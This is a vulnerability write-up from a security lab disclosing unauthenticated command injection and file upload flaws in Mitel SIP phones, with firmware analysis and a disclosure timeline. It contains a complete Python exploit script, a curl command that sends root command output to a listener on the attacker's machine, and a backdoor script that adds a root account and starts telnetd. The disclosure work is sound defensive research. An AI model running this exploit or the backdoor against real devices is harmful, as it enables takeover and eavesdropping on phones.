Marc Bollhalder
1806 words
9 minutes
CVE-2025-47188: Mitel Phone Unauthenticated RCE

Introduction#

While on an internal attack simulation engagement, a customer asked us: “Is an attacker able to listen in on our meeting room conversations?”. Motivated by this question, we scanned their internal network and discovered Mitel VoIP phone web management interfaces.

While playing around with the login functionality of the management interface, we accidentally rediscovered CVE-2020-13617 on our own - and since the phone firmware was old enough, it allowed us to leak memory in the failed login response. While we didn’t have enough time to analyze the phone during this engagement, my interest in the phone and its firmware did not vanish.

As part of the R&D team at InfoGuard Labs, I decided to take a closer look at the phone as a research project. This lead to the discovery of two new vulnerabilities:

  • CVE-2025-47188: Unauthenticated command injection vulnerability
  • CVE-2025-47187: Unauthenticated .wav file upload vulnerability

These vulnerabilities are present in Mitel 6800 Series, 6900 Series and 6900w Series SIP Phones, including the 6970 Conference Unit with firmware version R6.4.0.SP4 and earlier. Mitel has published the MISA-2025-0004 security advisory informing about these vulnerabilities, the affected devices as well as remediation measures.

Disclosure Timeline#

DateEvent
21.03.2025Vulnerability report submitted
25.03.2025Vulnerability report acknowledged
02.04.2025Vulnerability confirmed
08.04.2025Further clarification request
13.04.2025Response to clarification request
07.05.2025Mitel advisory published
10.06.2025Technical details added to the blog

I would like to thank the Mitel PSIRT team in their fast and professional response to our vulnerability report.

Technical details#

Setup#

To interact with the phone for testing, a static IP of 10.30.102.101/24 was set on the attacker notebook and the static IP of 10.30.102.102/24 was set on the phone.

This can be done on the phone itself, by pressing the settings button, entering the admin menu (default password 22222) and then editing the network settings.

Initial Analysis#

A network scan shows our phone is online:

sudo nmap -sV 10.30.102.102 -p -

Three port are open: the expected ports 80/http and 443/https of the management interface and an unexpected one: 49249/http:

Nmap scan report for 10.30.102.102
Host is up (0.00065s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE  VERSION
80/tcp    open  http?
443/tcp   open  ssl/http Mitel 6865i VoIP phone http admin
49249/tcp open  http     BusyBox httpd
MAC Address: 00:08:5D:71:AB:1D (Mitel)
Service Info: OS: Linux; Device: VoIP phone; CPE: cpe:/h:mitel:6865i, cpe:/o:linux:linux_kernel

Logging in to to web management interface at http://10.30.102.102, we can see that basic authentication is used to protect the admin interface:

Basic Authentication credentials sent over http

Requesting the page http://10.30.102.102:49249 returns the following:

<HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD>
<BODY><H1>404 Not Found</H1>
The requested URL was not found
</BODY></HTML>

Interestingly, no basic authentication is required to access this webserver. However, to find out what functionality is provided, we have to take a closer look at the firmware.

Firmware analysis#

First, the phone firmware was downloaded from the Mitel Cloud third-party firmware S3 bucket:

wget https://thirdparty.firmware.connect.mitelcloud.com/6900w/SIP/2019/6865i.st -O 6865i.st
md5sum 6865i.st && sha1sum 6865i.st && sha256sum 6865i.st
0aba0561fd4905636a3451fffee203a6  6865i.st
9591377a66c4910554c77fa57ae6cd3300c35432  6865i.st
ccf13a1a0ba2294883f186705ba5dc8da97d9b2309ea7de05f8df10038c63eef  6865i.st

To find out what is stored inside the .st file, we can use binwalk:

binwalk -e 6865i.st
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
323           0x143           Linux kernel ARM boot executable zImage (little-endian)
15671         0x3D37          gzip compressed data, maximum compression, from Unix, last modified: 2024-10-22 19:01:06
1579823       0x181B2F        JFFS2 filesystem, little endian

What we are interested in most is the JFFS2 filesystem at offset 0x181B2F. Instructions on how to mount this JFFS2 filesystem were taken from the SySS Tech blog post about CVE-2022-29855 and adjusted for the offset of the 6865i firmware:

sudo modprobe jffs2
sudo modprobe mtdram total_size=70000
sudo modprobe mtdblock
sudo mkdir /mnt/6865i
sudo dd if=_6865i.st.extracted/181B2F.jffs2 of=/dev/mtdblock0
sudo mount -t jffs2 /dev/mtdblock0 /mnt/6865i
ls -lah /mnt/6865i/
total 5.5K
drwxr-xr-x 19 root root    0 Jan  1  1970 .
drwxr-xr-x  4 root root 4.0K Mar 27 10:48 ..
drwxr-xr-x  2 root root    0 Oct 22  2024 .bcm-debug-info
drwxr-xr-x  2 root root    0 Oct 22  2024 bin
drwxr-xr-x  9 root root    0 Oct 22  2024 dev
drwxr-xr-x  5 root root    0 Oct 22  2024 etc
drwxr-xr-x  2 root root    0 Oct 22  2024 home
drwxr-xr-x  7 root root    0 Oct 22  2024 lib
lrwxrwxrwx  1 root root   11 Oct 22  2024 linuxrc -> bin/busybox
drwxr-xr-x  2 root root    0 Oct 22  2024 mnt
drwxr-xr-x  2 root root    0 Oct 22  2024 nvdata
drwxr-xr-x  2 root root    0 Oct 22  2024 proc
-rw-r--r--  1 root root   83 Oct 22  2024 .profile
drwxr-xr-x  2 root root    0 Oct 22  2024 sbin
drwxr-xr-x  2 root root    0 Oct 22  2024 sys
lrwxrwxrwx  1 root root    8 Oct 22  2024 tmp -> /var/tmp
drwxr-xr-x  6 root root    0 Oct 22  2024 usr
drwxr-xr-x  7 root root    0 Oct 22  2024 var
drwxr-xr-x  3 root root    0 Oct 22  2024 voip
drwxr-xr-x  5 root root    0 Oct 22  2024 webroot
drwxr-xr-x  4 root root    0 Oct 22  2024 webrootupload

We can now list the filesystem contents. Immediately, the non-standard folders voip, webroot and webrootupload catch our attention. Listing the webroot/cgi-bin and /webrootupload/cgi-bin folders reveals two binaries, both called webconfig:

ls -lah /mnt/6865i/webroot/cgi-bin/
total 76K
drwxr-xr-x 2 root root   0 Oct 22  2024 .
drwxr-xr-x 5 root root   0 Oct 22  2024 ..
-rwxr-xr-x 1 root root 19K Oct 22  2024 ota-upgrade-cgi
-rw-r--r-- 1 root root  24 Oct 22  2024 phpinfo.php
-rwxr-xr-x 1 root root 57K Oct 22  2024 webconfig
ls -lah /mnt/6865i/webrootupload/cgi-bin/
total 24K
drwxr-xr-x 2 root root   0 Oct 22  2024 .
drwxr-xr-x 4 root root   0 Oct 22  2024 ..
-rwxr-xr-x 1 root root 24K Oct 22  2024 webconfig

Calling http://10.30.102.102:49249/cgi-bin/webconfig gives us a 200 OK response, indicating that we can reach the binary without authentication:

curl -v http://10.30.102.102:49249/cgi-bin/webconfig
*   Trying 10.30.102.102:49249...
* Connected to 10.30.102.102 (10.30.102.102) port 49249
> GET /cgi-bin/webconfig HTTP/1.1
> Host: 10.30.102.102:49249
> User-Agent: curl/8.5.0
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-type: text/html
<
* Closing connection

To find out what the webconfig binary is doing, we reverse engineer it using Ghidra.

Reverse engineering webconfig#

Since both binaries are located in a cgi-bin folder, they are invoked for every request with special environment variables set according to the CGI specification. We can see that both main function are very similar, but the webconfig in /webrootupload/cgi-bin adds two pages: upload_ringtone and upload_directory.

Looking at /webroot/cgi-bin/webconfig first, we can see a lot of comparisons being made to determine the page that was requested:

Main function of webconfig

For /webrootupload/cgi-bin/webconfig, we can see a similar structure with additional entries to handle ringtone and directory uploads:

Main function of webconfig that handles uploads

Note: the duplicate handler entries are not actually implemented in the second binary

And indeed, if we upload an empty test.wav ringtone file via the administrative web interface, the webconfig binary with the upload_ringtone handler gets called:

Empty WAV file upload

As we can see in the request headers, the POST request gets sent to the web server listening on port 49429 without any authentication over http. It is unclear why this request was implemented as a call to a different binary on a different port and not handled within the already existing webconfig binary that uses basic authentication. Just like that, we have discovered CVE-2025-47187, the unauthenticated file upload.

The file upload handler function#

The main function calls the ringtone upload handler function at 0x0000a608 if the page parameter is set to upload_ringtone and the action is set to submit:

Selection process

This function then extracts the filename parameter from our multipart/form-data body by just reading line by line until the string filename is found. Then, it skips filename=" and treats everything until the next " as the filename.:

Extracting the filename from stdin

We can immediately see that if the call to actually_handle_file_upload fails, our supplied filename is used during cleanup and is passed into a system function call: rm -f "/tmp/<filename here>". The function that actually handles the upload body is located at 0x0000a080. Looking through it, we can see more calls to system using our supplied filename:

Code vulnerable to command injection

Here, it is used to execute the mv -f "/voip/tmp/<filename here>" "/userdata/ringtone/<filename here>" and chmod 644 "/userdata/ringtone/<filename here>" shell commands. As a full shell is used to execute these commands and the filename is not escaped (just can’t contain \ and /), it is possible run arbitrary commands by including $(<command here>) as part of the filename.

Exploitation#

Equipped with all the knowledge of the webservice, we can build our exploit script:

import argparse, requests, socket, sys

# Taken from: https://github.com/mathiasbynens/small/blob/master/wav.wav
WAF_FILE = b"RIFF$\0\0\0WAVEfmt \x10\0\0\0\x01\0\x01\0D\xac\0\0\x88X\x01\0\x02\0\x10\0data\0\0\0\0"


def exploit(target, command):
    target_ip = socket.gethostbyname(target)

    print(f"Starting exploit...")

    r = requests.post(
        f"http://{target_ip}:49249/cgi-bin/webconfig?page=upload_ringtone&action=submit&section=0&conn=0",
        files={
            "upload_ringtone/newfile": (
                f"commands.txt",
                WAF_FILE + b"\n" + command.encode("utf-8"),
            )
        },
    )
    if "ringtone.html" not in r.text or "success" not in r.text:
        print("Exploit failed uploading commands.txt")
        print(r.text)
        return

    r = requests.post(
        f"http://{target_ip}:49249/cgi-bin/webconfig?page=upload_ringtone&action=submit&section=1&conn=0",
        files={
            "upload_ringtone/newfile": (
                "fake$(sh ${HOME}userdata${HOME}ringtone${HOME}commands.txt).wav",
                b"This is an invalid WAV file",
            )
        },
    )
    if "ringtone.html" not in r.text:
        print("Exploit failed during command execution")
        print(r.text)
        return
    print("Exploit completed.")


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("target", help="The target hostname or ip")
    parser.add_argument("-c", "--command", help="The command to run on the remote")
    parser.add_argument("-s", "--script", help="The script to run on the remote")
    args = parser.parse_args()

    if args.command and args.script:
        print("Can only use one of -c or -s")
        sys.exit(1)
    command = args.command
    if args.script:
        with open(args.script, "r") as f:
            command = f.read()

    if command is None or command.strip() == "":
        print("No command specified. Use either -c or -s.")
        sys.exit(1)

    exploit(args.target, command)

The exploit scripts uploads the smallest possible valid .wav file followed by a newline and the commands that should be executed. Then, a second upload call executes the freshly uploaded file via the command injection attack in the filename parameter. The injection uses the ${HOME} variable as a replacement for the / character, which can’t be part of the filename itself. Using the exploit script, we can now execute a curl command to get command execution results back to our machine:

nc -lvp 5000
python3 exploit.py 10.30.102.102 -c "curl -d \$(id) 10.30.102.101:5000"
Listening on 0.0.0.0 5000
Connection received on 10.30.102.102 39467
POST / HTTP/1.1
Host: 10.30.102.101:5000
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 11
Content-Type: application/x-www-form-urlencoded

uid=0(root)

Success! We get the http request from the phone and can see that the webconfig binary is running as the root user.

Interactive access#

To get interactive access on the phone, we can prepare a file with commands that we want to run on the phone. In this case, the commands add a backdoor user with a password of backdoor and then starts telnetd in the background:

echo "backdoor:x:0:0:root:/:" >> /etc/passwd
echo "backdoor:$(openssl passwd -1 backdoor):16352:0:99999:7:::" >> /etc/shadow
nohup telnetd &

Note: We are using telnetd for the backdoor access since sshd is not installed.

We can then run our backdoor commands and get interactive access to the phone. As we now have full control over the phone, we can display text on the phone’s LCD display as proof of exploitation:

python3 exploit.py 10.30.102.102 -s backdoor.sh
telnet 10.30.102.102
Trying 10.30.102.102...
Connected to 10.30.102.102.
Escape character is '^]'.

6865i login: backdoor
Password:
10.30.102.102 # id
uid=0(root) gid=0(root) groups=0(root)
10.30.102.102 # uname -a
Linux 6865i 2.6.27.18 #1 PREEMPT Tue Oct 22 15:01:04 EDT 2024 armv6l GNU/Linux
10.30.102.102 # lcdctl -s 0,0,"                                     "
10.30.102.102 # lcdctl -s 0,1,"                                     "
10.30.102.102 # lcdctl -s 0,2,"InfoGuard Labs                       "
10.30.102.102 # lcdctl -s 0,3,"                                     "
10.30.102.102 #
CVE-2025-47188: Mitel Phone Unauthenticated RCE
https://labs.infoguard.ch/posts/cve-2025-47188_mitel_phone_unauthenticated_rce/
Author
Marc Bollhalder
Published at
2025-05-12